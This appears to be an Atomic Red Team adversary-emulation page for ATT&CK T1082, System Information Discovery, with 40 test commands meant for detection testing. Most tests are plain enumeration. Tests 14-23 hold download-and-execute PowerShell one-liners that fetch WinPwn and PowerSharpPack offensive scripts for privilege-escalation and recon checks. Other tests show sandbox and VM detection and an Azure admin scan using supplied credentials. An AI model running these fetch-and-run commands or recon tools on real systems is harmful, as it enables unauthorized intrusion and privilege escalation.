T1082

Description from ATT&CK

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes.

Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as system hostname get and system version get.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)

System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Atomic Tests

• Atomic Test #1 - System Information Discovery

• Atomic Test #2 - System Information Discovery

• Atomic Test #3 - List OS Information

• Atomic Test #4 - Linux VM Check via Hardware

• Atomic Test #5 - Linux VM Check via Kernel Modules

• Atomic Test #6 - FreeBSD VM Check via Kernel Modules

• Atomic Test #7 - Hostname Discovery (Windows)

• Atomic Test #8 - Hostname Discovery

• Atomic Test #9 - Windows MachineGUID Discovery

• Atomic Test #10 - Griffon Recon

• Atomic Test #11 - Environment variables discovery on windows

• Atomic Test #12 - Environment variables discovery on freebsd, macos and linux

• Atomic Test #13 - Show System Integrity Protection status (MacOS)

• Atomic Test #14 - WinPwn - winPEAS

• Atomic Test #15 - WinPwn - itm4nprivesc

• Atomic Test #16 - WinPwn - Powersploits privesc checks

• Atomic Test #17 - WinPwn - General privesc checks

• Atomic Test #18 - WinPwn - GeneralRecon

• Atomic Test #19 - WinPwn - Morerecon

• Atomic Test #20 - WinPwn - RBCD-Check

• Atomic Test #21 - WinPwn - PowerSharpPack - Watson searching for missing windows patches

• Atomic Test #22 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors

• Atomic Test #23 - WinPwn - PowerSharpPack - Seatbelt

• Atomic Test #24 - Azure Security Scan with SkyArk

• Atomic Test #25 - Linux List Kernel Modules

• Atomic Test #26 - FreeBSD List Kernel Modules

• Atomic Test #27 - System Information Discovery with WMIC

• Atomic Test #28 - System Information Discovery

• Atomic Test #29 - Check computer location

• Atomic Test #30 - BIOS Information Discovery through Registry

• Atomic Test #31 - ESXi - VM Discovery using ESXCLI

• Atomic Test #32 - ESXi - Darkside system information discovery

• Atomic Test #33 - sysctl to gather macOS hardware info

• Atomic Test #34 - operating system discovery

• Atomic Test #35 - Check OS version via "ver" command

• Atomic Test #36 - Display volume shadow copies with "vssadmin"

• Atomic Test #37 - Identify System Locale and Regional Settings with PowerShell

• Atomic Test #38 - Enumerate Available Drives via gdr

• Atomic Test #39 - Discover OS Product Name via Registry

• Atomic Test #40 - Discover OS Build Number via Registry

Atomic Test #1 - System Information Discovery

Identify System Info. Upon execution, system info and time info will be displayed.

Supported Platforms: Windows

auto_generated_guid: 66703791-c902-4560-8770-42b8a91f7667

Attack Commands: Run with command_prompt!

systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum

Atomic Test #2 - System Information Discovery

Identify System Info

Supported Platforms: macOS

auto_generated_guid: edff98ec-0f73-4f63-9890-6b117092aff6

Attack Commands: Run with sh!

system_profiler
ls -al /Applications

Atomic Test #3 - List OS Information

Identify System Info

Supported Platforms: Linux, macOS

auto_generated_guid: cccb070c-df86-4216-a5bc-9fb60c74e27c

Inputs:

Attack Commands: Run with sh!

uname -a >> #{output_file}
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi
if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi
uptime >> #{output_file}
cat #{output_file} 2>/dev/null

Cleanup Commands:

rm #{output_file} 2>/dev/null

Atomic Test #4 - Linux VM Check via Hardware

Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.

Supported Platforms: Linux

auto_generated_guid: 31dad7ad-2286-4c02-ae92-274418c85fec

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi
if [ -f /sys/class/dmi/id/chassis_vendor ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi

Atomic Test #5 - Linux VM Check via Kernel Modules

Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.

Supported Platforms: Linux

auto_generated_guid: 8057d484-0fae-49a4-8302-4812c4f1e64e

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_baloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"

Atomic Test #6 - FreeBSD VM Check via Kernel Modules

Identify virtual machine host kernel modules.

Supported Platforms: Linux

auto_generated_guid: eefe6a49-d88b-41d8-8fc2-b46822da90d3

Attack Commands: Run with sh!

kldstat | grep -i "vmm"
kldstat | grep -i "vbox"

Atomic Test #7 - Hostname Discovery (Windows)

Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.

Supported Platforms: Windows

auto_generated_guid: 85cfbf23-4a1e-4342-8792-007e004b975f

Attack Commands: Run with command_prompt!

hostname

Atomic Test #8 - Hostname Discovery

Identify system hostname for FreeBSD, Linux and macOS systems.

Supported Platforms: Linux, macOS

auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133

Attack Commands: Run with sh!

hostname

Atomic Test #9 - Windows MachineGUID Discovery

Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.

Supported Platforms: Windows

auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8

Attack Commands: Run with command_prompt!

REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid

Atomic Test #10 - Griffon Recon

This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre in order simply print the recon results to the screen as opposed to exfiltrating them. Script. For more information see also https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon and https://attack.mitre.org/software/S0417/

Supported Platforms: Windows

auto_generated_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370

Inputs:

Attack Commands: Run with powershell!

cscript "#{vbscript}"

Dependencies: Run with powershell!

Description: Sample script file must exist on disk at specified location (#{vbscript})

Check Prereq Commands:

if (Test-Path "#{vbscript}") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory (split-path "#{vbscript}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1082/src/griffon_recon.vbs" -OutFile "#{vbscript}"

Atomic Test #11 - Environment variables discovery on windows

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Supported Platforms: Windows

auto_generated_guid: f400d1c0-1804-4ff8-b069-ef5ddd2adbf3

Attack Commands: Run with command_prompt!

set

Atomic Test #12 - Environment variables discovery on freebsd, macos and linux

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Supported Platforms: Linux, macOS

auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720

Attack Commands: Run with sh!

env

Atomic Test #13 - Show System Integrity Protection status (MacOS)

Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.

Supported Platforms: macOS

auto_generated_guid: 327cc050-9e99-4c8e-99b5-1d15f2fb6b96

Attack Commands: Run with sh!

csrutil status

Atomic Test #14 - WinPwn - winPEAS

Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn

Supported Platforms: Windows

auto_generated_guid: eea1d918-825e-47dd-acc2-814d6c58c0e1

Attack Commands: Run with powershell!

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput

Atomic Test #15 - WinPwn - itm4nprivesc

Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 3d256a2f-5e57-4003-8eb6-64d91b1da7ce

Attack Commands: Run with powershell!

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput

Atomic Test #16 - WinPwn - Powersploits privesc checks

Powersploits privesc checks using oldchecks function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 345cb8e4-d2de-4011-a580-619cf5a9e2d7

Attack Commands: Run with powershell!

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput

Cleanup Commands:

rm -force -recurse .\DomainRecon -ErrorAction Ignore
rm -force -recurse .\Exploitation -ErrorAction Ignore
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
rm -force -recurse .\LocalRecon -ErrorAction Ignore
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore

Atomic Test #17 - WinPwn - General privesc checks

General privesc checks using the otherchecks function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 5b6f39a2-6ec7-4783-a5fd-2c54a55409ed

Attack Commands: Run with powershell!

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput

Atomic Test #18 - WinPwn - GeneralRecon

Collect general computer informations via GeneralRecon function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 7804659b-fdbf-4cf6-b06a-c03e758590e8

Attack Commands: Run with powershell!

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive

Atomic Test #19 - WinPwn - Morerecon

Gathers local system information using the Morerecon function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 3278b2f6-f733-4875-9ef4-bfed34244f0a

Attack Commands: Run with powershell!

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput

Atomic Test #20 - WinPwn - RBCD-Check

Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn

Supported Platforms: Windows

auto_generated_guid: dec6a0d8-bcaf-4c22-9d48-2aee59fb692b

Attack Commands: Run with powershell!

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive

Atomic Test #21 - WinPwn - PowerSharpPack - Watson searching for missing windows patches

PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 07b18a66-6304-47d2-bad0-ef421eb2e107

Attack Commands: Run with powershell!

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson

Atomic Test #22 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors

PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.

Supported Platforms: Windows

auto_generated_guid: efb79454-1101-4224-a4d0-30c9c8b29ffc

Attack Commands: Run with powershell!

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"

Atomic Test #23 - WinPwn - PowerSharpPack - Seatbelt

PowerSharpPack - Seatbelt technique via function of WinPwn.

Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

Supported Platforms: Windows

auto_generated_guid: 5c16ceb4-ba3a-43d7-b848-a13c1f216d95

Attack Commands: Run with powershell!

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"

Atomic Test #24 - Azure Security Scan with SkyArk

Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. See https://github.com/cyberark/SkyArk

Supported Platforms: Azure-ad

auto_generated_guid: 26a18d3d-f8bc-486b-9a33-d6df5d78a594

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Import-Module "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" -force
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzAccount -Credential $Credential
Connect-AzureAD -Credential $Credential
Scan-AzureAdmins -UseCurrentCred

Cleanup Commands:

$resultstime = Get-Date -Format "yyyyMMdd"
$resultsfolder = ("Results-" + $resultstime)
remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: The SkyArk AzureStealth module must exist in PathToAtomicsFolder..\ExternalPayloads.

Check Prereq Commands:

if (test-path "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"){exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/cyberark/SkyArk/3293ee145e95061a8980dd7b5da0030edc4da5c0/AzureStealth/AzureStealth.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"

Description: The AzureAD module must be installed.

Check Prereq Commands:

try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Get Prereq Commands:

Install-Module -Name AzureAD -Force

Description: The Az module must be installed.

Check Prereq Commands:

try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Get Prereq Commands:

Install-Module -Name Az -Force

Atomic Test #25 - Linux List Kernel Modules

Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present.

Supported Platforms: Linux

auto_generated_guid: 034fe21c-3186-49dd-8d5d-128b35f181c7

Attack Commands: Run with sh!

lsmod
kmod list
grep vmw /proc/modules

Atomic Test #26 - FreeBSD List Kernel Modules

Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present.

Supported Platforms: Linux

auto_generated_guid: 4947897f-643a-4b75-b3f5-bed6885749f6

Attack Commands: Run with sh!

kldstat
kldstat | grep vmm

Atomic Test #27 - System Information Discovery with WMIC

Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. https://nwgat.ninja/getting-system-information-with-wmic-on-windows/ Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting: https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/

Supported Platforms: Windows

auto_generated_guid: 8851b73a-3624-4bf7-8704-aa312411565c

Attack Commands: Run with command_prompt!

wmic cpu get name
wmic MEMPHYSICAL get MaxCapacity
wmic baseboard get product
wmic baseboard get version
wmic bios get SMBIOSBIOSVersion
wmic path win32_VideoController get name
wmic path win32_VideoController get DriverVersion
wmic path win32_VideoController get VideoModeDescription
wmic OS get Caption,OSArchitecture,Version
wmic DISKDRIVE get Caption
Get-WmiObject win32_bios

Atomic Test #28 - System Information Discovery

The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\Windows\System32\config or c:\Windows\System32\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/

Supported Platforms: Windows

auto_generated_guid: 4060ee98-01ae-4c8e-8aad-af8300519cc7

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs

Atomic Test #29 - Check computer location

Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed.

• https://tria.ge/210111-eaz8mqhgh6/behavioral1

Supported Platforms: Windows

auto_generated_guid: 96be6002-9200-47db-94cb-c3e27de1cb36

Attack Commands: Run with command_prompt!

reg query "HKEY_CURRENT_USER\Control Panel\International\Geo"

Atomic Test #30 - BIOS Information Discovery through Registry

Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments. Upon execution, BIOS information will be displayed.

• https://tria.ge/210111-eaz8mqhgh6/behavioral1
• https://evasions.checkpoint.com/techniques/registry.html

Supported Platforms: Windows

auto_generated_guid: f2f91612-d904-49d7-87c2-6c165d23bead

Attack Commands: Run with command_prompt!

reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion
reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion

Atomic Test #31 - ESXi - VM Discovery using ESXCLI

An adversary will using ESXCLI to enumerate the Virtual Machines on the host prior to executing power off routine. Reference

Supported Platforms: Windows

auto_generated_guid: 2040405c-eea6-4c1c-aef3-c2acc430fac9

Inputs:

Attack Commands: Run with command_prompt!

echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"

Dependencies: Run with powershell!

Description: Check if plink is available.

Check Prereq Commands:

if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"

Atomic Test #32 - ESXi - Darkside system information discovery

Darkside ransomware utilises various ESXCLI commands to obtain information about the ESXi Host. Reference

Supported Platforms: Windows

auto_generated_guid: f89812e5-67d1-4f49-86fa-cbc6609ea86a

Inputs:

Attack Commands: Run with command_prompt!

echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"

Dependencies: Run with powershell!

Description: Check if plink is available.

Check Prereq Commands:

if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"

Atomic Test #33 - sysctl to gather macOS hardware info

Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc.

Supported Platforms: macOS

auto_generated_guid: c8d40da9-31bd-47da-a497-11ea55d1ef6c

Attack Commands: Run with sh!

sysctl -n hw.model

Atomic Test #34 - operating system discovery

operating system discovery using get-ciminstance https://petri.com/getting-operating-system-information-powershell/

Supported Platforms: Windows

auto_generated_guid: 70e13ef4-5a74-47e4-9d16-760b41b0e2db

Attack Commands: Run with powershell!

Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null

Atomic Test #35 - Check OS version via "ver" command

Ver command shows information about os version.

Supported Platforms: Windows

auto_generated_guid: f6ecb109-df24-4303-8d85-1987dbae6160

Attack Commands: Run with command_prompt!

ver

Atomic Test #36 - Display volume shadow copies with "vssadmin"

The command shows all available volume shadow copies, along with their creation time and location.

Supported Platforms: Windows

auto_generated_guid: 7161b085-816a-491f-bab4-d68e974b7995

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

vssadmin.exe list shadows

Atomic Test #37 - Identify System Locale and Regional Settings with PowerShell

This action demonstrates how an attacker might gather a system's region and language settings using PowerShell, which could aid in profiling the machine's location and user language preferences. The command outputs system locale details to a temporary file for further analysis.

Supported Platforms: Windows

auto_generated_guid: ce479c1a-e8fa-42b2-812a-96b0f2f4d28a

Attack Commands: Run with command_prompt!

powershell.exe -c "Get-Culture | Format-List | Out-File -FilePath %TMP%\a.txt"

Cleanup Commands:

cmd.exe /c del "%TMP%\a.txt"

Atomic Test #38 - Enumerate Available Drives via gdr

This test simulates an attacker attempting to list the available drives on the system to gather data about file storage locations.

Supported Platforms: Windows

auto_generated_guid: c187c9bc-4511-40b3-aa10-487b2c70b6a5

Attack Commands: Run with command_prompt!

powershell.exe -c "gdr -PSProvider 'FileSystem'"

Atomic Test #39 - Discover OS Product Name via Registry

Identify the Operating System Product Name via registry with the reg.exe command. Upon execution, the OS Product Name will be displayed.

Supported Platforms: Windows

auto_generated_guid: be3b5fe3-a575-4fb8-83f6-ad4a68dd5ce7

Attack Commands: Run with command_prompt!

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName

Atomic Test #40 - Discover OS Build Number via Registry

Identify the Operating System Build Number via registry with the reg.exe command. Upon execution, the OS Build Number will be displayed.

Supported Platforms: Windows

auto_generated_guid: acfcd709-0013-4f1e-b9ee-bc1e7bafaaec

Attack Commands: Run with command_prompt!

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentBuildNumber